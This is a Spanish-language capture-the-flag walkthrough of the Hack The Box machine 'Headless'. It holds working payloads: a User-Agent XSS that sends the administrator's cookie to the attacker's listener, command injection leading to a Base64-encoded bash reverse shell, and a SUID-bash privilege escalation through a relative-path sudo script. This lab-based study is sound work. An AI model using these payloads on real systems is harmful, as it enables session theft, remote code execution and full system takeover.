Descripción
Headless es una máquina fácil de Hack The Box que cuenta con las siguientes vulnerabilidades:
- Cross Site Scripting (XSS) en un campo User-Agent para robar unas cookies
- Inyección de comandos en un formulario
- Escalada de privilegios a través de un script vulnerable ejecutado con el comando SUDO
Reconocimiento
Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina de destino es 10.10.11.208.
$ ping -c 3 10.129.248.249
PING 10.129.248.249 (10.129.248.249) 56(84) bytes of data.
64 bytes from 10.129.248.249: icmp_seq=1 ttl=63 time=48.2 ms
64 bytes from 10.129.248.249: icmp_seq=2 ttl=63 time=48.7 ms
64 bytes from 10.129.248.249: icmp_seq=3 ttl=63 time=48.4 ms
--- 10.129.248.249 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 48.160/48.421/48.714/0.227 ms
La máquina está activa y con el TTL equivalente a 63 (64 menos 1 salto) podemos asegurar que es una máquina basada en Unix. Ahora vamos a hacer un escaneo de puertos TCP SYN con Nmap para comprobar todos los puertos abiertos.
$ sudo nmap 10.129.248.249 -sS -oN nmap_scan
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.248.249
Host is up (0.051s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
5000/tcp open upnp
Nmap done: 1 IP address (1 host up) scanned in 1.07 seconds
Obtenemos dos puertos abiertos, 22 y 5000.
Enumeración
Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.
$ nmap 10.129.248.249 -sV -sC -p22,5000 -oN nmap_scan_ports
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.248.249
Host is up (0.049s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 90:02:94:28:3d:ab:22:74:df:0e:a3:b2:0f:2b:c6:17 (ECDSA)
|_ 256 2e:b9:08:24:02:1b:60:94:60:b3:84:a9:9e:1a:60:ca (ED25519)
5000/tcp open upnp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.2.2 Python/3.11.2
| Date: Sat, 23 Mar 2024 19:02:52 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 2799
| Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs; Path=/
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="UTF-8">
| <meta name="viewport" content="width=device-width, initial-scale=1.0">
| <title>Under Construction</title>
| <style>
| body {
| font-family: 'Arial', sans-serif;
| background-color: #f7f7f7;
| margin: 0;
| padding: 0;
| display: flex;
| justify-content: center;
| align-items: center;
| height: 100vh;
| .container {
| text-align: center;
| background-color: #fff;
| border-radius: 10px;
| box-shadow: 0px 0px 20px rgba(0, 0, 0, 0.2);
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
...
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 135.78 seconds
Conseguimos dos servicios: un Secure Shell (SSH) y un Hypertext Transfer Protocol (HTTP) corriendo en un Linux Debian. Como no tenemos credenciales factibles para el servicio SSH nos movemos al servicio HTTP. Observamos que el servicio alberga un sitio web, mostrando una cuenta atrás y un botón que nos lleva a un formulario de soporte.
Vemos que el servidor web está usando una aplicación Werkzeug/2.2.2 Python/3.11.2 por lo que podamos intentar atacarla usando la inyección de plantillas del lado del servidor (SSTI).
La aplicación detecta el ataque e imprime los encabezados de nuestra solicitud HTTP. Observamos que tenemos una cookie llamada is_admin. La primera parte de la cookie, InVzZXIi , está codificada con Base64 y puede decodificarse como "user" . La última parte de la cookie parece estar cifrada. Si cambiamos el valor de "user" a "admin" en la cookie no obtenemos la autenticación. Así que suponemos que la cookie está firmada usando un algoritmo similar a JWT.

Explotación
Como la aplicación está imprimiendo los encabezados podemos intentar comprobar si la aplicación es vulnerable a un ataque de secuencia de comandos en sitios cruzados (XSS) cambiando el agente de usuario a algo como<script>alert('XSS');</alert>. Para ello podemos utilizar un proxy, como Burp Suite, interceptando la solicitud.
Obtenemos la alerta JavaScript, así que confirmamos que la página es vulnerable al ataque XSS.
Observamos que con el intento de vulneración se ha generado un informe para el administrador para la investigación. Podemos aprovechar este ataque y robar las cookies del administrador. Podemos inyectar esta carga útil en el encabezado User-Agent.
Carga a inyectar en el encabezado de User-Agent:
<img src=x onerror=this.src="http://10.10.14.23:1111/?c="+document.cookie>
Antes de enviar la solicitud al servidor abrimos el puerto de escucha con la herramienta netcat. Después de unos segundos, recibimos la solicitud del administrador con la cookie is_admin, ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0.
$ nc -nvlp 1111
listening on [any] 1111 ...
connect to [10.10.14.23] from (UNKNOWN) [10.129.248.249] 58402
GET /?c=is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0 HTTP/1.1
Host: 10.10.14.23:1111
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:5000/
Connection: keep-alive
Al hacer algunas enumeraciones, encontramos otro enlace en el servidor, /dashboard.
$ gobuster dir -u http://10.129.248.249:5000/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -o directory_enumeration
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.129.248.249:5000/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/support (Status: 200) [Size: 2363]
/dashboard (Status: 500) [Size: 265]
Después de cambiar el valor de la cookie, obtenemos acceso al panel del administrador.
Si generamos un informe obtenemos el mensaje Systems are up and running!. Podemos intentar inyectar comandos para lograr la ejecución de mando remoto. Interceptamos la solicitud con el proxy e inyectamos la carga útil ; id codificada en formato URL.
La inyección ha funcionado, recibimos al usuario que está ejecutando la aplicación, dvir.
Ahora podemos crear una terminal inversa usando esta vulnerabilidad. Codificamos el comando de la terminal inversa usando Base64 y lo codificamos en formato URL.
Carga útil a inyectar:
;bash -i >& /dev/tcp/10.10.14.23/1234 0>&1
Carga útil codificada con Base64:
;echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMy8xMjM0IDA+JjE="|base64 -d|bash
Carga útil codificada en formado URL:
%3becho+"YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xMC4xMC4xNC4yMy8xMjM0IDA%2bJjE%3d"|base64+-d|bash
Antes de enviar la solicitud al servidor abrimos el puerto de escucha con la herramienta netcat. Después de unos segundos, recibimos la terminal inversa por lo que la actualizamos.
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.23] from (UNKNOWN) [10.129.248.249] 40160
bash: cannot set terminal process group (1155): Inappropriate ioctl for device
bash: no job control in this shell
dvir@headless:~/app$ script /dev/null -c bash
[keyboard] CTRL-Z
$ stty raw -echo; fg
$ reset xterm
dvir@headless:~/app$ stty rows 48 columns 156; export TERM=xterm; export SHELL=bash
Post-Explotación
Aparte del usuario dvir, sólo encontramos a root como usuario de consola.
dvir@headless:~/app$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
dvir:x:1000:1000:dvir,,,:/home/dvir:/bin/bash
Encontramos un comando que el usuario dvir puede ejecutar como el usuario root, /usr/bin/syscheck.
dvir@headless:~/app$ sudo -l
Matching Defaults entries for dvir on headless:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User dvir may run the following commands on headless:
(ALL) NOPASSWD: /usr/bin/syscheck
dvir@headless:~/app$ ls -l /usr/bin/syscheck
-r-xr-xr-x 1 root root 768 Feb 2 16:11 /usr/bin/syscheck
Inspeccionando el código fuente del script encontramos que tiene una vulnerabilidad. Comprobamos que está ejecutando un script Bash desde el actual directorio de trabajo, initdb.sh, utilizando su ruta relativa en lugar de la ruta absoluta.
dvir@headless:~/app$ cat /usr/bin/syscheck
#!/bin/bash
if [ "$EUID" -ne 0 ]; then
exit 1
fi
last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"
disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"
load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"
if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
/usr/bin/echo "Database service is not running. Starting it..."
./initdb.sh 2>/dev/null
else
/usr/bin/echo "Database service is running."
fi
exit 0
Así que ahora podemos movernos a un directorio temporal, crear el archivo Bash script y luego obtener una terminal root con una copia del binario bash.
dvir@headless:~/app$ mktemp -d
/tmp/tmp.JzldAkRVbx
dvir@headless:~/app$ cd /tmp/tmp.JzldAkRVbx
dvir@headless:/tmp/tmp.JzldAkRVbx$ cat<<EOF>initdb.sh
#!/bin/bash
cp /bin/bash /tmp/tmp.JzldAkRVbx/bash
chmod u+s /tmp/tmp.JzldAkRVbx/bash
EOF
dvir@headless:/tmp/tmp.JzldAkRVbx$ chmod +x initdb.sh
dvir@headless:/tmp/tmp.JzldAkRVbx$ sudo /usr/bin/syscheck
Last Kernel Modification Time: 01/02/2024 10:05
Available disk space: 1.9G
System load average: 0.01, 0.01, 0.03
Database service is not running. Starting it...
dvir@headless:/tmp/tmp.JzldAkRVbx$ ./bash -p
bash-5.2# id
uid=1000(dvir) gid=1000(dvir) euid=0(root) groups=1000(dvir),100(users)
Obtenemos una terminal con los permisos de root.
Flags
Finalmente podemos obtener la flag del usuario y la flag del sistema.
bash-5.2# cat /home/dvir/user.txt
<REDACTED>
bash-5.2# cat /root/root.txt
<REDACTED>